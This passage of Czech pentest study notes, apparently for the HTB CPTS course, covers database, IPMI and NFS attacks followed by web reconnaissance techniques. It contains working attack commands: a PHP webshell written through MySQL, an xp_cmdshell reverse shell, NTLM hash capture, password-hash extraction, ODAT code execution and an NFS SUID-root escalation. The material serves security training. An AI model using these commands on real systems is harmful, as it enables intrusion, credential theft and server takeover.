2. **Zápis souboru (RCE/Webshell):** Pokud znáš cestu k webu, vytvoříš si zadní vrátka: `SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/uploads/shell.php';` *Poznámka: Aby to fungovalo, musí být proměnná `secure_file_priv` v MySQL prázdná.*

C. Extrakce hashů hesel

Pokud máš přístup k tabulce `mysql.user`, můžeš vytáhnout hashe a zkusit je cracknout offline (Hashcat/John).

- **Příkaz:** `SELECT user, authentication_string FROM mysql.user;` (v novějších verzích) nebo `SELECT user, password FROM mysql.user;` (ve starších).

D. CVE-2012-2122 (Authentication Bypass)

U některých verzí MySQL a MariaDB (kolem roku 2012) existovala chyba, kdy stačilo zkusit se přihlásit se špatným heslem cca 300x za sebou a server tě nakonec pustil dovnitř bez ohledu na heslo.

- **Bash One-liner:** `for i in {1..500}; do mysql -u root -h <IP> -p'wrong' 2>/dev/null; done`

4. Navigace – "Footprinting uvnitř DB"

Když už jsi v konzoli, musíš se rychle zorientovat:

1. **Kdo jsem a co můžu?** `SELECT user(), current_user(); SELECT * FROM mysql.user WHERE user='tvůj_uživatel'\G` (vypíše práva).
2. **Kde jsou data?** `SHOW DATABASES; -> USE <db>; -> SHOW TABLES;`
3. **Zajímavé sloupce:** Hledej v tabulkách sloupce jako `pass`, `pwd`, `hash`, `token`, `secret`. `SELECT column_name FROM information_schema.columns WHERE column_name LIKE '%pass%';`

Footprinting Checklist pro MySQL:

1. [] **Verze:** Je server zranitelný na staré exploity?
2. [] **Root bez hesla:** Zkusil jsem se připojit jako root s prázdným heslem?
3. [] **Vzdálený přístup:** Je port 3306 otevřený do internetu (špatná konfigurace)?
4. [] **FILE Privilege:** Má můj uživatel právo číst/zapisovat soubory na disk?
5. [] **Hashe:** Jsou v tabulce uživatelů hashe, které můžu cracknout?

MSSQL

🔗 MSSQL (Microsoft SQL Server) – Port 1433

Jak to funguje na síťové vrstvě: MSSQL používá protokol TDS (Tabular Data Stream).

- **TCP 1433:** Standardní port pro výchozí instanci.
- **UDP 1434: SQL Browser Service.** Pokud na serveru běží více instancí, musíš se nejdřív zeptat na portu 1434, na jakém portu běží tvoje cílová instance. MSSQL podporuje dva typy přihlášení: **SQL Authentication** (vlastní jméno/heslo) a **Windows Authentication** (využívá Kerberos nebo NTLM – tvůj aktuální Windows uživatel).

1. Připojení a Enumerace

Když najdeš port 1433, nejdřív zjisti, jestli tě pustí dál.

- **Nmap footprinting:** `nmap -p 1433 --script mssql-info,mssql-empty-password,mssql-config <IP>`
- **Impacket (mssqlclient):** Nejsilnější nástroj. Pokud jsi v doméně, zkus `-windows-auth`. Pokud máš jen heslo k sa (System Administrator), jdi přímo.

2. Remote Code Execution (RCE) – Detailní rozbor

Tohle je v CPTS nejčastější cesta k získání "Footholdu" (prvního shellu) na Windows stroji.

A. xp_cmdshell (Klasika)

Tato procedura umožňuje spouštět příkazy v CMD přímo z SQL dotazu. Standardně je vypnutá, ale jako sysadmin ji můžeš zapnout.

1. **Ověření admina:** `SELECT IS_SRVROLEMEMBER('sysadmin');`
2. **Aktivace:** (V mssqlclient stačí napsat `enable xp_cmdshell`).
3. **Exekuce:** `xp_cmdshell 'powershell -e <base64_reverse_shell>'`

B. SpIDer (Extended Stored Procedures)

Pokud je xp_cmdshell smazaná nebo hlídaná, můžeš zkusit nahrát vlastní DLL do systému a spustit ji přes SQL. To už je pokročilejší post-exploitate.

3. Útoky na Identitu (Credential Theft)

A. NTLM Stealing (Relay útoky)

Můžeš donutit MSSQL server, aby se pokusil autentizovat k tvému stroji. Tím zachytíš jeho NTLM hash.

- **SQL příkaz:** `EXEC master..xp_dirtree '\\<TVOJE_IP>\share', 1, 1;`
- **Na tvém stroji:** Spuštění **Responder** nebo **impacket-ntlmrelayx**.
- **Výsledek:** Získáš hash servisního účtu, pod kterým běží SQL (často `sql_svc` nebo **SYSTEM**).

B. Krádež hashů z DB

`SELECT name, password_hash FROM sys.sql_logins;` Tyto hashe (MSSQL 2012+) začínají na **0x0200** a můžeš je cracknout pomocí Hashcatu (mód 1731).

4. Lateral Movement (Linked Servers)

MSSQL servery jsou často "zřetězené". Pokud ovládneš jeden (Server A), můžeš přes něj posílat dotazy na Server B, i když k němu nemáš přímý přístup ze své sítě.

- **Najdi linky:** `SELECT name FROM sys.servers;`
- **Zneužití (RCE na druhém konci):** `EXEC('xp_cmdshell "whoami"') AT [JINY_SERVER];` (Takhle můžeš řetězit útoky napříč celou korporátní infrastrukturou).

5. Čtení souborů (Bez shellu)

Pokud nemůžeš spustit `xp_cmdshell` (např. kvůli Antiviru), můžeš stále číst citlivé soubory (jako `id_rsa` nebo `web.config`): `SELECT * FROM OPENROWSET(BULK 'C:\Users\Public\id_rsa', SINGLE_CLOB) AS x;`

❑ Footprinting Checklist pro MSSQL:

1. [] **Instance:** Běží SQL Browser na UDP 1434?
2. [] **Auth:** Podporuje Windows Authentication (příležitost pro Password Spraying)?
3. [] **Práva:** Jsem sysadmin? (Můžu ovládnout celý OS?).
4. [] **Links:** Jsou připojené další servery?
5. [] **Impersonation:** Můžu se "převléknout" za jiného uživatele? `(SELECT name FROM sys.server_principals WHERE can_login = 1)`

Oracle TNS

■ Oracle TNS – Port 1521

Jak to funguje na síťové vrstvě: Oracle používá protokol TNS (Transparent Network Substrate).

1. Klient se připojí k Listeneru (port 1521).
2. Klient musí uvést SID (System ID) nebo Service Name, což je unikátní název instance databáze. Bez správného SID vás Listener k databázi nepustí.
3. Listener buď spojení předá, nebo klienta přesměruje na jiný port.

1. Průzkum a Enumerace (Hledání klíče SID)

SID je v podstatě "skrytý" název instance. Dokud ho neznáš, nemůžeš ani zkoušet hesla.

- Nmap (Základní identifikace): `nmap -p 1521 --script oracle-tns-version <IP>`
- ODAT (Oracle Database Attacking Tool): Naprostý standard pro CPTS.
 - Hádání SID: `odat sidguesser -s <IP>`
 - Hádání hesel: `odat passwordguesser -s <IP> -d <SID> --accounts-file accounts.txt`
- Metasploit: `use auxiliary/admin/oracle/oracle_login`

2. Připojení (SQL*Plus)

Pokud máš přihlašovací údaje, připojuješ se přes nativního klienta:

Role	Příkaz
Běžný uživatel	<code>sqlplus jmeno/heslo@<IP>/<SID></code>
SysDBA (Admin)	<code>sqlplus sys/heslo@<IP>/<SID> as sysdba</code>
Zjištění verze	<code>SELECT * FROM v\$version;</code>

3. Detailní útoky (Exkluzivně pro Oracle)

A. RCE přes DBMS_SCHEDULER (Pokud jsi admin)

Oracle umožňuje plánovat úlohy, které mohou spouštět OS příkazy.

- Útok: Pomocí ODAT můžeš rovnou zkusit získat reverse shell. `odat externaltable -s <IP> -d <SID> -u <user> -p <pass> --sysdba --exec "whoami"`

B. Čtení/Zápis souborů (UTL_FILE)

Oracle má balíček UTL_FILE, který dovoluje číst soubory z disku serveru.

- Útok: Čtení `/etc/passwd` nebo Windows konfiguračních souborů. `odat utlfile -s <IP> -d <SID> -u <user> -p <pass> --sysdba --getFile "/etc/passwd"`

C. Extrakce hashů (Post-Exploatace)

Hashe v Oraclu jsou uloženy v systémové tabulce `sys.user$`.

- Příkaz: `SELECT name, spare4 FROM sys.user$;`
- Crackování: Hashe typu spare4 (SHA-1 s náhodným saltem) se crackují pomocí Hashcatu (mód 12300).

D. TNS Poisoning (Pokročilý síťový útok)

Pokud je Listener špatně nastavený, můžeš mu podvrhnout informaci, že tvůj (útočníkův) stroj je součástí clusteru. Listener pak začne posílat přihlašovací údaje legitimních uživatelů přímo tobě.

- Nástroj: metasploit (`auxiliary/admin/oracle/tns_poison`)

4. Navigace v Oraclu (Rychlá orientace)

- Kdo jsem a jaká mám práva: `SELECT * FROM user_role_privs;`
- Seznam všech uživatelů: `SELECT username FROM all_users;`
- Hledání zajímavých tabulek: `SELECT table_name FROM all_tables WHERE table_name LIKE '%PASS%';`

□ Footprinting Checklist pro Oracle:

1. [] SID: Mám platné SID (např. xe, orcl, prod)?
2. [] Defaultní účty: Zkusil jsem scott/tiger, sys/password, system/manager?
3. [] Verze: Je server starší (zranitelný na TNS Poisoning) nebo moderní?
4. [] Práva: Mám roli SYSDBA? (Pokud ano, server patří mně).
5. [] Služby: Běží na portu 8080 Oracle XML DB (častý vektor pro webové útoky)?

IPMI

IPMI (Intelligent Platform Management Interface) – Port 623 (UDP)

Jak to funguje na síťové vrstvě: IPMI běží na samostatném čipu (BMC – Baseboard Management Controller), který má vlastní IP adresu a funguje, i když je server vypnutý. Komunikace probíhá přes **UDP port 623**. Problém je v protokolu **RAKP (Remote Authenticated Key-Exchange Protocol)**. Ve verzi 2.0 je v designu chyba: když požádáš o autentizaci, server ti pošle hash hesla uživatele, abys ho mohl lokálně ověřit.

1. Průzkum (Enumerace)

Prvním krokem je zjistit, zda je IPMI aktivní a jakou verzi používá.

- **Nmap sken (UDP je pomalý, specifikuj port):** `sudo nmap -sU -p 623 --script ipmi-dups-hashes,ipmi-version <IP>`
- **Identifikace verze:** Pokud vidíš "IPMI-2.0", je zranitelný na RAKP dumpování.

2. Útok na RAKP (Získání hesla)

Tohle je v HTB/CPTS nejčastější cesta dovnitř. Nemusíš znát heslo, stačí znát uživatelské jméno (často ADMIN, admin, root).

- **Metasploit (Nejpohodlnější):**

Bash

```
use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS <IP>
Run
```

- **Offline Cracking:** Získaný hash vypadá jako dlouhý řetězec hexadecimálních čísel. `hashcat -m 7300 ipmi.hash /usr/share/wordlists/rockyou.txt`

3. Práce s ipmitool (Ovládnutí HW)

Jakmile máš heslo, stáváš se "bohem" nad tímto kusem železa.

Akce	Příkaz
Výpis uživatelů	<code>ipmitool -I lanplus -H <IP> -U <user> -P <pass> user list</code>
Informace o HW	<code>ipmitool -I lanplus -H <IP> -U <user> -P <pass> fru list</code>
Konzole (SoL)	<code>ipmitool -I lanplus -H <IP> -U <user> -P <pass> sol activate</code>

Pro-Tip pro CPTS: V příkazu fru list (Field Replaceable Unit) občas administrátoři nechávají poznámky, inventární čísla nebo popisy, které ti napoví, k čemu server slouží (např. "DB-Server-Prod").

4. Detailní útoky a Post-Exploitace

A. Serial Over LAN (SoL) – Přímý přístup k OS

Pokud máš přístup k SoL, vidíš to samé, co vidí admin u fyzického monitoru.

- Pokud server právě startuje, můžeš v BIOSu/GRUBu upravit parametry bootování a **resetovat heslo do Windows/Linuxu** (např. přes `init=/bin/bash`).

B. Virtual Media (ISO Mount)

Pokud se dostaneš do webového rozhraní (iDRAC, iLO), můžeš k serveru "připojit" vlastní virtuální CD (ISO obraz).

- **Útok:** Připojíš ISO s Linuxem, restartuješ server, nabootuješ ze svého ISO a kompletně vykradeš data z disků nebo nainstaluješ backdoor.

C. Odposlech Community Stringu (pokud běží SNMP)

BMC čipy často komunikují i přes SNMP. Pokud máš IPMI přístup, podívej se do nastavení SNMP, kde můžeš najít community stringy, které ti otevrou další cestu do sítě.

☐ Footprinting Checklist pro IPMI:

1. ☐ **Verze:** Je to 2.0 (zranitelný RAKP)?
2. ☐ **Výchozí hesla:** Zkusil jsem **admin:admin**, **root:calvin** (iDRAC), **Administrator:password**?
3. ☐ **Uživatelé:** Koho jsem dumpnul pomocí Metasploitu?
4. ☐ **Webové rozhraní:** Běží na portu 80/443 grafický panel? (Často obsahuje další zranitelnosti).

NFS

❑ NFS (Network File System) – Porty 111, 2049

Jak to funguje na síťové vrstvě: NFS využívá RPC (Remote Procedure Call).

- **Port 111 (RPCBind):** Funguje jako "zlaté stránky". Klient se zeptá portu 111: „Na jakém portu běží NFS a Mountd?“.
- **Port 2049 (NFS):** Samotný přenos dat.
- **Autentizace:** Starší verze (v2, v3) věří klientovi. Pokud klient pošle v paketu **UID=1000**, server předpokládá, že uživatel skutečně je UID 1000. NFSv4 už podporuje Kerberos (šifrované ověření).

1. Footprinting (Průzkum zvenčí)

Cílem je zjistit, které složky (exporty) server sdílí a komu.

- Základní scan (RPC & NFS): `sudo nmap -p 111,2049 -sV -sC <IP>`
- Výpis sdílených složek (Showmount): `showmount -e <IP>`
- Nmap skript pro výpis obsahu (LS): `sudo nmap --script nfs-ls,nfs-showmount,nfs-statfs -p 111,2049 <IP>` (Tento skript ti často ukáže i soubory jako `id_rsa` nebo `flag.txt` přímo ve výstupu Nmapu).

2. Montování a práce se soubory

Pokud najdeš sdílenou složku (např. `/mnt/nfs`), připojíš si ji k sobě:

1. Vytvoř bod připojení: `mkdir target_nfs`
2. Připoj sdílení: `sudo mount -t nfs <IP>:/mnt/nfs ./target_nfs -o nolock`
3. Prozkoumej práva: `ls -ln ./target_nfs` (Sleduj hlavně čísla UID a GID vlastníků souborů).

3. Detailní útoky (Metodika pro CPTS)

A. Falšování identity (UID/GID Spoofing)

Pokud vidíš, že soubor `flag.txt` patří uživateli s **UID 1001**, ale ty jsi root (UID 0), server tě nemusí pustit.

1. Vytvoř si lokálního uživatele: `sudo useradd -u 1001 tempuser`
2. Přepni se na něj: `sudo su tempuser`
3. Čti: Teď už máš k souboru přístup, protože NFS věří tvému lokálnímu UID.

B. Zneužití `no_root_squash` (Cesta k Rootu)

Tohle je nejčastější cesta k eskalaci privilegií v HTB labech.

- **Princip:** Pokud je v `/etc/exports` nastaveno `no_root_squash`, server dovolí tvému lokálnímu rootovi vystupovat jako root i na serveru.
- **Útok:**
 1. Jako lokální root nahraj na NFS sdílení kopii `/bin/bash`.
 2. Nastav mu SUID bit: `chmod +s ./target_nfs/bash`.
 3. Pokud máš na serveru i obyčejný SSH přístup, prostě tento soubor spustíš (`./bash -p`) a jsi root celého serveru.

C. Insecure Port (Bypass)

Pokud je nastaveno **secure**, NFS přijímá požadavky jen z portů nižších než 1024. Pokud je tam **insecure**, můžeš použít jakýkoliv port.

- **Nástroj:** V `mount` příkazu to řešíš přepínačem, pokud tě server odmítá připojit.

4. Checklist pro tvoje otázky (HTB Academy)

Při plnění úkolů v labu postupuj takto:

1. **Zjisti sdílené složky:** `showmount -e <IP>`.
2. **Připoj obě:** Jednu po druhé do složek u sebe (např. `/mnt/flag1` a `/mnt/flag2`).
3. **Vypiš obsah:** `ls -la` (hledej `flag.txt`).
4. **Pokud nemáš práva:** Podívej se na UID (`ls -ln`) a vytvoř si uživatele se stejným ID.

❑ Rychlý tahák příkazů pro CPTS:

Cíl	Příkaz
Zjištění exportů	<code>showmount -e <IP></code>
Připojení	<code>sudo mount -t nfs <IP>:<cesta> <cíl> -o nolock</code>
Odpojení	<code>sudo umount <cíl></code>
Zjištění UID	<code>ls -ln <soubor></code>
Vytvoření uživatele	<code>sudo useradd -u <UID> <jmeno></code>

Uvod

□ Cíle webového průzkumu

Než začnete psát první příkazy, musíte vědět, co vlastně hledáte:

1. **Identifikace aktiv:** Najít vše, co firma vlastní (subdomény, zapomenuté testovací servery, IP adresy).
2. **Odhalení skrytých informací:** Zálohy webů (config.php.bak), interní dokumentace omylem vystavená ven nebo konfigurační soubory.
3. **Analýza "Attack Surface" (plocha útoku):** Zmapování technologií (běží tam zastaralá verze Apache? Používají WordPress?).
4. **Zpravodajství (Intelligence):** Jména zaměstnanců pro sociální inženýrství nebo struktura e-mailových adres.

Metodologie: Aktivní vs. Pasivní Recon

Průzkum dělíme podle toho, jak moc "klepeme na dveře" cílového systému.

1. Pasivní průzkum (Passive Recon)

Při pasivním průzkumu **přímo nekomunikujete s cílovým serverem**. Využíváte zdroje třetích stran. Cíl nemá šanci zjistit, že se o něj zajímáte.

- **Google Dorking:** Používání speciálních operátorů v Googlu (např. site:target.com filetype:log).
- **WHOIS:** Dotazování do veřejných databází o vlastníkově domény, DNS serverech a datu registrace.
- **Wayback Machine:** Prohlížení historických verzí webu (můžete tam najít soubory, které už dnes na webu nejsou, ale zůstaly v archivu).
- **OSINT (Open Source Intelligence):** Prohledávání LinkedInu, GitHubu (hledání zapomenutých hesel v kódu) nebo sociálních sítí.

2. Aktivní průzkum (Active Recon)

Zde **přímo interagujete s cílem**. Posíláte pakety na jeho porty, zkoušíte jeho formuláře. Riziko odhalení je vysoké (firewally a IDS vás mohou zablokovat).

Port Scanning- Seznam otevřených služeb (HTTP, SSH, DB)

Banner Grabbing- Přesná verze softwaru (např. "Nginx 1.14.0").

Directory Brute Forcing- Nalezení skrytých složek jako /admin nebo /backup.

Web Spidering- Automatické prolezení všech odkazů na webu.

Při detailním pohledu jsou první kroky **WHOIS** a **DNS**

Whois victim.com

❑ 1. Základní dotazování (Digging DNS)

Nástroj dig je nejlepší pro manuální analýzu konkrétních záznamů.

Příkaz	Význam
dig domain.com A	Zjistí IPv4 adresu webu.
dig domain.com AAAA	Zjistí IPv6 adresu webu.
dig domain.com MX	Najde poštovní servery (kam chodí e-mail).
dig domain.com NS	Identifikuje autoritativní jmenné servery (kdo spravuje DNS).
dig domain.com TXT	Vypíše textové záznamy (často obsahují ověření služeb, API klíče).
dig -x 1.2.3.4	Reverse lookup – z IP adresy se pokusí zjistit jméno stroje.
dig +short domain.com	Vrátí jen čistý výsledek (IP), bez metadat.
dig +trace domain.com	Ukáže celou cestu dotazu od Root serverů až k cíli.

❑ 2. Přenos zóny (DNS Zone Transfer)

Pokud je server chybně nastaven, získáš "kopii celého adresáře" firmy.

- **Příkaz:** **dig axfr @<NameServer> <domain.com>**
- **Vysvětlení:** axfr je typ dotazu pro přenos zóny. Musíš jej poslat přímo na jeden z Name Serverů, které jsi zjistil v předchozím kroku.
- **Nástroj pro automatizaci:** **dnsenum --enum domain.com** (zkusí AXFR automaticky na všechny nalezené NS).

❑ 3. Brute-forcing subdomén

Hádání subdomén pomocí slovníku (wordlistu).

Nástroj: DnsEnum

Kombinuje zjišťování záznamů, AXFR a brute-force.

- **Příkaz:** **dnsenum --enum <domain.com> -f <wordlist> -r**
- **Parametry:**
 - **-f:** Cesta k souboru se slovy (např. ze SecLists).
 - **-r:** Rekurzivní hledání (pokud najde dev.site.com, zkouší i test.dev.site.com).

Nástroj: Gobuster

Extrémně rychlý nástroj pro čistý brute-force.

- **Příkaz:** **gobuster dns -d <domain.com> -w <wordlist>**

❑ 4. Virtuální hostitelé (VHost Fuzzing)

Hledání webů, které běží na stejné IP, ale nemají (třeba) DNS záznam.

- **Příkaz:** **gobuster vhost -u http://<IP nebo doména> -w <wordlist> --append-domain**
- **Parametry:**
 - **vhost:** Režim pro hádání HTTP Host hlaviček.
 - **--append-domain:** Zásadní flag – spojí slovo ze slovníku s doménou (např. dev + site.com = dev.site.com).

❑ 5. Certificate Transparency Logs (CT Logs)

Pasivní hledání subdomén v archivech SSL certifikátů.

- **Příkaz (přes terminál):**
 - **curl -s "https://crt.sh/?q=domain.com&output=json" | jq -r '[] | .name_value' | sort -u**

Vysvětlení:

- **curl:** Stáhne data z webu crt.sh ve formátu JSON.
- **jq:** Vyfiltruje jen pole name_value (názvy domén).
- **sort -u:** Seřadí výsledky a smaže duplicity.

❑ Rychlá nápověda: Kdy co použít?

1. Chci vědět, kde web bydlí? → dig A
2. Chci vědět, jaké technologie firma používá? → dig TXT
3. Chci zkusit "vykrást" celý DNS server? → dig axfr
4. Chci najít skrytá vývojová prostředí (dev, staging)? → crt.sh (pasivně) nebo gobuster vhost (aktivně).
5. Chci najít subdomény, které nemají SSL certifikát? → gobuster dns.

Fingerprinting

□ Web Fingerprinting (Identifikace technologií)

Princip: Každá technologie (Apache, Nginx, WordPress, PHP) zanechává v komunikaci specifické stopy (podpisy). Cílem je zjistit přesné verze, protože pentester neútočí na "web", ale na konkrétní chybu v **Apache 2.4.41**.

1. Manuální průzkum (Banner Grabbing & Headers)

Nejrychlejší způsob, jak zjistit základní stack, je analýza HTTP hlaviček.

- **Základní příkaz:** `curl -I http://domain.com` (Získá jen hlavičky).
- **Sledování přesměrování:** `curl -I -L http://domain.com` (Sleduje 301/302 redirecty).

Co hledat v hlavičkách:

- **Server:** Přesná verze webserveru (např. Apache/2.4.41 (Ubuntu)).
- **X-Powered-By:** Technologie na pozadí (např. PHP/7.4, ASP.NET).
- **X-Redirect-By:** Často odhalí CMS (např. WordPress).
- **Link:** Cesty k API nebo JSON souborům (např. wp-json).

2. Detekce WAF (Web Application Firewall)

Před hloubkovým skenováním musíš vědět, jestli tě neblokuje firewall.

- **Nástroj:** wafw00f
- **Příkaz:** `wafw00f domain.com`
- **Výsledek:** Identifikuje ochrany jako Cloudflare, Wordfence nebo Akamai. Pokud je přítomen WAF, musíš skenovat pomaleji, abys nebyl zablokován.

3. Automatizovaný fingerprinting (Nikto & WhatWeb)

A. WhatWeb (Rychlý přehled)

Příkaz `whatweb domain.com` ti vypíše vše na jednom řádku: verze, pluginy, emailové adresy a SQL chyby.

B. Nikto (Hloubkový skener)

Nikto hledá zastaralé verze, nebezpečné soubory (jako license.txt) a chyby v konfiguraci.

- **Pouze identifikace (bez exploitů):** `nikto -h domain.com -tuning b`
- **Klíčové nálezy z Nikto:**
 - **Outdated software:** Verze, které mají známé CVE.
 - **Insecure Headers:** Chybějící Strict-Transport-Security nebo X-Content-Type-Options.
 - **Default Files:** Přítomnost readme.html, license.txt nebo changelog.

4. Specializované nástroje

Nástroj	Účel
Wappalyzer	Browser extension pro okamžitou identifikaci stacku.
BuiltWith	Webová služba pro historický přehled technologií webu.
Nmap (HTTP scripts)	<code>nmap -p80 --script http-enum,http-title <IP></code>

🔗 Footprinting Checklist pro Web:

1. [] **IP adresy:** Má web IPv4 i IPv6 (může mít jinou konfiguraci)?
2. [] **Webserver:** Jaká je verze Apache/Nginx? Je aktuální?
3. [] **CMS:** Je to WordPress, Joomla nebo Drupal? (Hledej login stránky jako /wp-login.php).
4. [] **WAF:** Je tam Wordfence nebo jiná ochrana?
5. [] **Zajímavé soubory:** Našel Nikto license.txt nebo config.php.bak?

Crawling a robot.txt

🕸 Web Crawling (Spidering)

Princip: Automatizovaný proces procházení webu skrze odkazy. Crawler začne na úvodní stránce (Seed URL), stáhne ji, extrahuje všechny odkazy a ty pak následně navštívuje.

1. Strategie průzkumu

- **Breadth-First (Do šířky):** Nejdříve projde všechny odkazy na hlavní stránce, pak všechny odkazy na těchto podstránkách. Ideální pro rychlé mapování struktury webu.
- **Depth-First (Do hloubky):** Vybere si jednu větev a jde co nejdále, dokud nenarazí na konec, pak se vrátí. Dobré pro hledání konkrétních souborů hluboko v adresářích.

2. Co jako pentester v crawlu hledáš?

- **Komentáře v HTML:** Vývojáři si tam často nechávají poznámky typu `` nebo zapomenuté interní IP adresy.
- **Metadata:** Titulky stránek, jména autorů (skvělé pro seznam uživatelů k brute force) a verze CMS.
- **Citlivé soubory:** Backup soubory (.bak, .old, ~), konfigurační soubory (web.config, settings.php), nebo zapomenuté logy (error.log).
- **Skryté cesty:** Odkazy, které nejsou v hlavním menu, ale vedou do testovacích prostředí nebo starých verzí webu.

📄 robots.txt (Virtuální etiketa)

Umístění: Vždy v kořenovém adresáři (např. <https://inlanefreight.com/robots.txt>).

Pro vyhledávače je to seznam zákazů, pro pentestera je to **mapa k pokladu**. Pokud admin něco zakázal indexovat, pravděpodobně tam je něco zajímavého.

1. Struktura souboru

- **User-agent:** Určuje, pro koho pravidlo platí (* = pro všechny).
- **Disallow:** Cesta, kam se nemá lézt. **Tady hledáš nejvíc.**
- **Allow:** Výjimka ze zákazu.
- **Sitemap:** Cesta k XML souboru se seznamem všech stránek webu.

2. Analýza pro recon (Příklady)

Záznam v robots.txt	Co to znamená
Disallow: /admin/	Pravděpodobná cesta k administrátorskému panelu.
Disallow: /backup/	Možnost stažení záloh databáze nebo zdrojových kódů.
Disallow: /dev/	Vývojové prostředí, které bývá méně zabezpečené než produkce.
Disallow: /config/	Potenciální přístup k citlivým nastavením aplikace.

3. Kontext je král

Samotný odkaz v robots.txt nic neznamená, dokud ho nepropojíš s ostatními nálezy:

1. Najdeš v robots.txt složku /files/.
2. Zkusíš tam vlézt a zjistíš, že je zapnutý **Directory Browsing** (vidíš seznam souborů).
3. Najdeš tam soubor db_backup.sql.bak.
4. Právě jsi ovládl celou databázi.

🔗 Footprinting Checklist (Crawling & Robots):

1. [] **robots.txt:** Zkontroloval jsem /robots.txt a vypsal si všechny Disallow cesty?
2. [] **Sitemap:** Našel jsem v robots.txt odkaz na sitemap.xml? Prošel jsem ho?
3. [] **Manuální crawl:** Proklikal jsem web a díval se do "View Source" na komentáře?
4. [] **Directory Listing:** Zkusil jsem u všech zajímavých cest umazat název souboru a podívat se, jestli server nevypíše obsah adresáře?

Creppy Crawlies

Příkazy:

```
sudo apt install python3-venv
python3 -m venv venv
source venv/bin/activate Je to i pro aktivaci
pip install scrapy
Pro ukončení:
deactivate
```

.well-known URI

□ .well-known URI (Technická metadata)

Princip: Standardizovaný adresář v rootu webu (/.well-known/), kde aplikace ukládají konfigurační detaily. Pro útočníka je to zlatý důl pro **discovery endpointů**, o kterých by se jinak nedozvěděl.

1. Klíčové soubory pro Recon

Soubor	Proč ho sledovat (Pentest focus)
security.txt	Obsahuje kontakt na bezpečnostní tým a často i Bug Bounty politiku . Může napovědět, jak vážně firma bere bezpečnost.
openid-configuration	Zásadní pro útoky na Auth. Odhalí endpointy pro loginy, tokeny a uživatelské informace (OAuth/OpenID).
assetlinks.json	Spojení mezi webem a mobilními aplikacemi (Android). Může odhalit názvy balíčků přidružených aplikací.
mta-sts.txt	Konfigurace bezpečnosti e-mailů. Napoví, zda je možné zneužít SMTP komunikaci.
change-password	Přímý odkaz na stránku pro změnu hesla – užitečné pro sociální inženýrství (phishing).

2. OpenID Connect Discovery (Hlubková analýza)

Pokud najdeš /.well-known/openid-configuration, získáš JSON, který ti naservíruje mapu k autentizačnímu serveru.

Co tě v JSONu zajímá:

- **authorization_endpoint:** Kde probíhá přihlášení (cíl pro phishing nebo testování zranitelností v loginu).
- **jwks_uri:** Obsahuje veřejné klíče (JWKS) pro ověřování podpisů tokenů. Klíčové, pokud testuješ manipulaci s JWT tokeny.
- **scopes_supported:** Jaké informace můžeš o uživateli vytáhnout (např. email, profile, address).
- **token_endpoint:** Kde se mění autorizační kódy za přístupové tokeny.

3. Proč je to v Reconu důležité?

1. **Automatizace:** Nástroje jako prohlížeče nebo security scannery se na tyto cesty dívají automaticky.
2. **Skryté API:** Často zde najdeš cesty k API (např. /oauth2/v1/userinfo), které nejsou nikde jinde na webu linkované.
3. **Mapování infrastruktury:** Zjistíš, zda web používá externího poskytovatele identity (např. Okta, Google, Azure AD) nebo vlastní řešení.

🔗 Jak na .well-known v praxi

Většina těchto souborů není prolinkovaná z hlavní stránky, takže je musíš zkontrolovat ručně nebo pomocí skriptu.

Metoda	Příkaz
Rychlá kontrola security.txt	curl -i https://target.com/.well-known/security.txt
Extrakce endpointů z JSON	curl -s https://target.com/.well-known/openid-configuration
Fuzzing adresáře	gobuster dir -u https://target.com/.well-known/ -w <wordlist_well_known>

🔗 Footprinting Checklist (.well-known):

1. [] **security.txt:** Zkontroloval jsem /.well-known/security.txt?
2. [] **Auth:** Existuje /.well-known/openid-configuration? Pokud ano, vypsál jsem si všechny endpointy?
3. [] **Password:** Zkusil jsem /.well-known/change-password pro nalezení login portálu?
4. [] **Registry:** Pokud najdu jiný soubor v .well-known, podíval jsem se do **IANA registru**, co znamená?

Google Dorking

❑ Search Engine Discovery (Google Dorking)

Princip: Využití pokročilých vyhledávacích operátorů k filtrování výsledků. Cílem je najít zapomenuté soubory, administrátorské panely, zálohy databází nebo citlivé dokumenty.

1. Základní a Pokročilé Operátory

Operátor	Popis	Příklad
site:	Omezí výsledky na konkrétní doménu.	site:inlanefreight.com
inurl:	Hledá termín přímo v URL adrese.	inurl:admin
filetype:	Vyhledá konkrétní typy souborů (ext:).	filetype:pdf nebo ext:sql
intitle:	Hledá termín v titulku stránky.	intitle:"index of"
intext:	Hledá termín v těle (textu) stránky.	intext:"password reset"
cache:	Zobrazí verzi stránky z paměti Google (i když je smazaná).	cache:example.com
link:	Najde stránky, které odkazují na danou URL.	link:example.com
related:	Najde weby podobné dané adrese.	related:bank.com
define:	Poskytne definici slova.	define:phishing
numrange:	Hledá čísla v určitém rozsahu.	site:test.com 1000-2000
allintext:	Hledá všechny uvedené výrazy v textu.	allintext:admin password
allinurl:	Hledá všechny uvedené výrazy v URL.	allinurl:phpmyadmin login
allintitle:	Hledá všechny uvedené výrazy v titulku.	allintitle:confidential 2024

2. Logické operátory a modifikátory

- **AND:** Vyžaduje přítomnost obou termínů (standardně funguje i mezera).
 - *Příklad:* site:htb.com AND inurl:dev
- **OR:** Najde stránky s alespoň jedním z termínů.
 - *Příklad:* "linux" OR "ubuntu"
- **NOT / -:** Vyloučí termín z výsledků.
 - *Příklad:* site:inlanefreight.com -inurl:www (najde subdomény vyjma www).
- **" "** (**Uvozovky**): Hledá přesnou frázi.
 - *Příklad:* "internal use only"
- ***** (**Wildcard**): Nahrazuje libovolné slovo/znak.
 - *Příklad:* site:social.com filetype:pdf user * manual
- **..** (**Range**): Vyhledávání v číselném rozsahu.
 - *Příklad:* price 100..500

3. Praktické Pentest "Dorky" (Kopírovat & Vložit)

Tady je výběr těch nejužitečnějších kombinací pro CPTS/HTB:

❑ Hledání Loginů a Admin panelů

- site:target.com inurl:login
- site:target.com (inurl:admin OR inurl:setup OR inurl:config)
- site:target.com intitle:"login"

❑ Hledání citlivých souborů a záloh

- site:target.com filetype:sql OR filetype:db OR filetype:backup
- site:target.com filetype:log
- site:target.com filetype:pdf "confidential"
- site:target.com (ext:conf OR ext:cnf OR ext:ini) (Konfigurační soubory)

📁 Directory Listing (Vypisování adresářů)

Tohle najde servery, které zobrazují seznam souborů místo webu:

- site:target.com intitle:"index of"
- site:target.com intitle:"index of /admin"
- site:target.com intitle:"index of /backup"

❑ Subdomain Discovery (Hledání subdomén)

- site:*.target.com -www

4. Zdroje pro hloubkové studium

Pokud hledáš specifický dork (např. pro konkrétní kamerový systém nebo verzi ERP), nejlepším zdrojem je:

